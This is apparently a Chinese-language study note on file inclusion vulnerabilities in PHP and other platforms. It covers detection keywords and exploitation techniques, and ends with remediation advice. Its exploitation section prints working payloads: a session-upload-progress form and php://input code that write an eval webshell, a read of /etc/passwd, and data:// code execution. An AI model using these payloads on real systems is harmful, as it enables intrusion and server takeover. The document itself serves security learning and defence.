开发一般会把重复使用的函数写到单个文件中,在使用某些函数时直接调用此文件,该调用文件过程称为文件包含;若该包含的文件是可控的(eg:通过 URL 参数来控制包含哪个文件),则可能存在文件包含漏洞;

【大多数出现在 PHP 中,当然 Java 中也有,不过相对较少;且一般会受到配置和版本的影响。】

202411223344

PHP Java curl Perl ASP.NET
http
https
gopher –with-curlwrappers before JDK 1.7 before 7.49.0 不支持\x00 before version 3
tftp –with-curlwrappers × × × ×
dict –with-curlwrappers × × ×
file
ftp
imap –with-curlwrappers × ×
pop3 –with-curlwrappers × ×
rtsp –with-curlwrappers
smb –with-curlwrappers
smtp –with-curlwrappers × ×
telnet –with-curlwrappers × ×
ssh2 受限于 allow_url_fopen × × 受限于Net:SSH2 ×
ogg 受限于 allow_url_fopen × × × ×
expect 受限于 allow_url_fopen × × × ×
ldap × × × ×
php × × × ×
zip/zlib/bzip 受限于 allow_url_fopen × × × ×

分类:

  • 本地文件包含 - Local File Include - LFI;
  • 远程文件包含 - Remote File Include - RFI;

搜索发现思路

白盒代码审计,关注特定的应用功能追踪代码定位审计;

常关注的一些特定关键字及函数等:

  • PHP:includerequireinclude_oncerequire_once 等;

(include 若包含过程中出错,会抛出警告,继续执行;require 出错时会报错并退出程序执行)

  • Java:java.io.Filejava.io.FileReader 等;

  • ASP.NET:System.IO.FileStreamSystem.IO.StreamReader 等;

黑盒主要观察参数传递的数据和文件名是否对应;

eg:path、dir、file、page、archive、eng、语言文件等相关字眼;

利用思路

本地利用:

  • 配合文件上传;

  • 无文件上传包含日志文件利用(需知道路径,默认路径测试);

    • 利用日志记录 UA 等信息的特性,抓包修改使其写入日志文件中,再用默认路径尝试访问;
  • 无文件上传包含 SESSION 利用(需知道路径,默认路径测试);

    • 利用 PHP_SESSION_UPLOAD_PROGRESS 进行文件包含;
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="(目标地址)http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

数据包中设置:Cookie:PHPSESSION=自定义session名

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

  • 伪协议利用;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
文件读取:

file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入:

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> (数据包的后面添加该代码,以POST方式发送提交)

代码执行:

php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程利用:创建可访问的远程 URL 包含文件;

修复

  1. 白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较;
  2. 路径限制:限制被包含的文件只能在某一文件夹内,PHP 配置文件中有 open_basedir 选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP 仅仅在该目录内搜索文件;
  3. 关闭危险配置:PHP 配置中的 allow_url_include 选项如果打开,PHP 会通过 Include/Require 进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的;
  4. 过滤危险字符:严格检查用户输入,参数中不允许出现 ../ 之类的目录跳转符;
  5. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)

参考学习:

https://blog.csdn.net/unexpectedthing/article/details/121276653 (好像还要 CSDN VIP,我丢

https://mp.weixin.qq.com/s/hMUDDgRSPY6ybznYBRZ20Q